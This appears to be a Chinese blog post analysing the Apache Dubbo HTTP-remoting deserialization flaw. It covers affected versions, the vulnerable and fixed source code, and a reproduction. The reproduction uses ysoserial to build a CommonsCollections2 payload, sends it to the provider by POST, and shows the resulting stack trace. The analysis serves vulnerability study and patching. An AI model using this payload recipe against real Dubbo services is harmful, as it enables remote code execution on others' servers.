Apacche Dubbo 反序列化漏洞

简介: Apacche Dubbo 反序列化漏洞

Apache Dubbo 反序列化漏洞



早在2019年开发者社区就有谈到这个 http 协议漏洞问题,近期360灵腾安全实验室判断漏洞等级为高,利用难度低,威胁程度高。建议升级 dubbo 版本,避免遭受黑客攻击。


漏洞描述


Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP.


简单的说,就是HTTP remoting 开启的时候,存在反序列化漏洞。Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为,最终导致了远程任意代码执行。


影响版本:


Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions

漏洞复现


  1. 创建一个 Dubbo 服务提供者代码。暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现


<dubbo:protocol name="http" port="8080" server="tomcat" />

注:可自己简单写一个,也可官网下载 demo



dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3. 在项目 pom 中添加 commons-collections4 依赖(测试漏洞用,主要用于反序列化)


<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>


启动服务,可以看大 dubboadmin上有个服务注册了


640.png

  1. 下载反序列化工具 ysoserial 利用漏洞执行 相关服务器上的命令,例如这里是启动计算器, ysoserial可以随意生成一个序列化文件,如下:


https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar


生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)

java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser


  1. 调用 provider

这里使用的是 postman 发包,也可使用 burp 发包。

发数据包的时候选择上一步生成的进制文件 payload.ser,会发现

640.png

demo 执行报错如下:


java.lang.NullPointerException
 at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(Unknown Source)
 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(Unknown Source)
 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(Unknown Source)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
 at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
 at java.util.PriorityQueue.siftDownUsingComparator(Unknown Source)
 at java.util.PriorityQueue.siftDown(Unknown Source)
 at java.util.PriorityQueue.heapify(Unknown Source)
 at java.util.PriorityQueue.readObject(Unknown Source)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at java.io.ObjectStreamClass.invokeReadObject(Unknown Source)
 at java.io.ObjectInputStream.readSerialData(Unknown Source)
 at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
 at java.io.ObjectInputStream.readObject0(Unknown Source)
 at java.io.ObjectInputStream.readObject(Unknown Source)
 at org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:144)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
 at org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
 at org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)

漏洞原因


dubbo 在进行 HTTP 协议进行数据传输时,使用的时 Java 序列化。使用 wireshark 抓包可以看到 ,从 ContentType: application/x-java-serialized-object 和报文 Body 部分的 ASCII 码可以看出,使用的是 Java Serialize 序列化。如果伪造了一个序列号的对象进入请求数据报文,然后伪造对象被反序列化出来后执行了,就造成了侵入,形成漏洞。

看 2.5.10 HttpProtocol 的 handle 方法实现


private class InternalHandler implements HttpHandler {
  public void handle(HttpServletRequest request, HttpServletResponse response)
          throws IOException, ServletException {
      String uri = request.getRequestURI();
      HttpInvokerServiceExporter skeleton = skeletonMap.get(uri);
      if (!request.getMethod().equalsIgnoreCase("POST")) {
          response.setStatus(500);
      } else {
          RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());
          try {
              skeleton.handleRequest(request, response);
          } catch (Throwable e) {
              throw new ServletException(e);
          }
      }
  }
}


原因是使用的是 spring httpinvoker 功能 HttpInvokerServiceExporter


spring httpinvoker 做了风险提示:

640.png


大致意思是,由于不安全的 Java 反序列化而导致的漏洞:操纵输入流可能会在反序列化步骤中导致服务器上不必须的代码执行


继续查看  skeleton.handleRequest(request, response); 的实现。


public void handleRequest(HttpServletRequest request, HttpServletResponse response)
   throws ServletException, IOException {
  try {
   RemoteInvocation invocation = readRemoteInvocation(request);
   RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());
   writeRemoteInvocationResult(request, response, result);
  }
  catch (ClassNotFoundException ex) {
   throw new NestedServletException("Class not found during deserialization", ex);
  }
 }
  protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is)
   throws IOException, ClassNotFoundException {
  ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
  try {
   return doReadRemoteInvocation(ois);
  }
  finally {
   ois.close();
  }
 }
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois)
   throws IOException, ClassNotFoundException {
//  1. 恶意对象在此被反序列化,漏洞触发
  Object obj = ois.readObject();
  if (!(obj instanceof RemoteInvocation)) {
   throw new RemoteException("Deserialized object needs to be assignable to type [" +
     RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
  }
  return (RemoteInvocation) obj;
 }

ois.readObject(); 读取数据全程过程中没有做任何的检查和过滤,直接使用的是readObject 方法直接反序列化 ,这个过程在如果没有校验和过滤,导致如果传入了序列化对象可以被反序列对象创建,漏洞就触发了。


漏洞解决


避免实现反序列化,对请求报文不进行反序列化处理。

看下 dubbo 2.7.7 之后的 HttpPrptocol 实现。


private class InternalHandler implements HttpHandler {
        private boolean cors;
        public InternalHandler(boolean cors) {
            this.cors = cors;
        }
        @Override
        public void handle(HttpServletRequest request, HttpServletResponse response)
                throws ServletException {
            String uri = request.getRequestURI();
            JsonRpcServer skeleton = skeletonMap.get(uri);
            if (cors) {
                response.setHeader(ACCESS_CONTROL_ALLOW_ORIGIN_HEADER, "*");
                response.setHeader(ACCESS_CONTROL_ALLOW_METHODS_HEADER, "POST");
                response.setHeader(ACCESS_CONTROL_ALLOW_HEADERS_HEADER, "*");
            }
            if (request.getMethod().equalsIgnoreCase("OPTIONS")) {
                response.setStatus(200);
            } else if (request.getMethod().equalsIgnoreCase("POST")) {
                RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());
                try {
                    skeleton.handle(request.getInputStream(), response.getOutputStream());
                } catch (Throwable e) {
                    throw new ServletException(e);
                }
            } else {
                response.setStatus(500);
            }
        }
    }
public void handle(ResourceRequest request, ResourceResponse response)
  throws IOException {
  if (LOGGER.isLoggable(Level.FINE)) {
   LOGGER.log(Level.FINE, "Handing ResourceRequest "+request.getMethod());
  }
  // set response type
  response.setContentType(JSONRPC_RESPONSE_CONTENT_TYPE);
  // setup streams
  InputStream input  = null;
  OutputStream output = response.getPortletOutputStream();
  // POST
  if (request.getMethod().equals("POST")) {
   input = request.getPortletInputStream();
  // GET
  } else if (request.getMethod().equals("GET")) {
   input = createInputStream(
    request.getParameter("method"),
    request.getParameter("id"),
    request.getParameter("params"));
  // invalid request
  } else {
   throw new IOException(
    "Invalid request method, only POST and GET is supported");
  }
  // service the request
  handle(input, output);
  //fix to not flush within handle() but outside so http status code can be set
  output.flush();
 }

看下 handle 怎么处理的 使用的是 JsonRpcServer 的 handle 方法


public int handle(InputStream ips, OutputStream ops)
  throws IOException {
  // get node iterator
  ReadContext ctx = ReadContext.getReadContext(ips, mapper);
  // prcess
  JsonNode jsonNode = null;
  try {
   ctx.assertReadable();
   jsonNode = ctx.nextValue();
  } catch (JsonParseException e) {
   writeAndFlushValue(ops, createErrorResponse(
    "jsonrpc", "null", -32700, "Parse error", null));
   return -32700;
  }
  return handleNode(jsonNode, ops);
 }


JsonRpcServer  类的 handle 方法处理之后,request.getInputStream() 没有再被反序列化,被篡改的序列化对象,无法被反序列化,这样漏洞就失效了。

相关文章
|
存储 Dubbo 前端开发
Beanutils造成dubbo反序列化失败?
今天下午,当我经过一个小时的奋”键“疾”码“,准备好好的审查一下(摸鱼)自己写的代码,经过一段时间审查(摸的差不多了,该下班了),得出一个结论我写的代码很优雅、精简。所以大手一挥提交代码,并在API管理系统上将xxx接口点了个完成。准备收拾东西走人了准点下班。然而事与愿违,没过多久前端大哥就@我了,说xxx接口有问题,麻烦处理一下。内心第一反应(你丫的参数传错了吧)卑微的我只能默默的回个,好的、麻烦把参数给我一下,我这边检查一下[微笑脸]。
|
安全 Dubbo 应用服务中间件
Dubbo反序列化漏洞复现分析(二)
Dubbo反序列化漏洞复现分析(二)
|
负载均衡 Dubbo 安全
Dubbo反序列化漏洞复现分析
Dubbo反序列化漏洞复现分析
|
负载均衡 Dubbo 安全
最新!Dubbo 远程代码执行漏洞通告,速度升级
0x01 漏洞背景 2020年06月23日, 360CERT监测发现 Apache Dubbo 官方 发布了 Apache Dubbo 远程代码执行的风险通告,该漏洞编号为 CVE-2020-1948,漏洞等级:高危。
141 0
最新!Dubbo 远程代码执行漏洞通告,速度升级
|
Dubbo 安全 应用服务中间件
Apache Dubbo 被曝出“高危”远程代码执行漏洞
6 月 23 日,360 网络安全响应中心(360CERT)发布《CVE-2020-1948:Apache Dubbo 远程代码执行漏洞通告》(以下简称《通告》)。《通告》称,Apache Dubbo 存在远程代码执行漏洞,受影响的版本有 Dubbo 2.5.x、Dubbo 2.6.0 - 2.6.7 和 Dubbo 2.7.0 - 2.7.6。
|
6月前
|
Dubbo Java 应用服务中间件
微服务学习 | Springboot整合Dubbo+Nacos实现RPC调用
微服务学习 | Springboot整合Dubbo+Nacos实现RPC调用
|
28天前
|
Dubbo Java 应用服务中间件
Spring Cloud Dubbo:微服务通信的高效解决方案
【10月更文挑战第15天】随着信息技术的发展,微服务架构成为企业应用开发的主流。Spring Cloud Dubbo结合了Dubbo的高性能RPC和Spring Cloud的生态系统,提供高效、稳定的微服务通信解决方案。它支持多种通信协议,具备服务注册与发现、负载均衡及容错机制,简化了服务调用的复杂性,使开发者能更专注于业务逻辑的实现。
52 2
|
3月前
|
Dubbo Java 应用服务中间件
💥Spring Cloud Dubbo火爆来袭!微服务通信的终极利器,你知道它有多强大吗?🔥
【8月更文挑战第29天】随着信息技术的发展,微服务架构成为企业应用开发的主流模式,而高效的微服务通信至关重要。Spring Cloud Dubbo通过整合Dubbo与Spring Cloud的优势,提供高性能RPC通信及丰富的生态支持,包括服务注册与发现、负载均衡和容错机制等,简化了服务调用管理并支持多种通信协议,提升了系统的可伸缩性和稳定性,成为微服务通信领域的优选方案。开发者仅需关注业务逻辑,而无需过多关心底层通信细节,使得Spring Cloud Dubbo在未来微服务开发中将更加受到青睐。
85 0
|
1月前
|
Dubbo Java 应用服务中间件
Dubbo学习圣经:从入门到精通 Dubbo3.0 + SpringCloud Alibaba 微服务基础框架
尼恩团队的15大技术圣经,旨在帮助开发者系统化、体系化地掌握核心技术,提升技术实力,从而在面试和工作中脱颖而出。本文介绍了如何使用Dubbo3.0与Spring Cloud Gateway进行整合,解决传统Dubbo架构缺乏HTTP入口的问题,实现高性能的微服务网关。
|
2月前
|
Dubbo 应用服务中间件 Apache
Star 4w+,Apache Dubbo 3.3 全新发布,Triple X 领衔,开启微服务通信新时代
在 Apache Dubbo 突破 4w Star 之际,Apache Dubbo 团队正式宣布,Dubbo 3.3 正式发布!作为全球领先的开源微服务框架,Dubbo 一直致力于为开发者提供高性能、可扩展且灵活的分布式服务解决方案。此次发布的 Dubbo 3.3,通过 Triple X 的全新升级,突破了以往局限,实现了对南北向与东西向流量的全面支持,并提升了对云原生架构的友好性。
139 10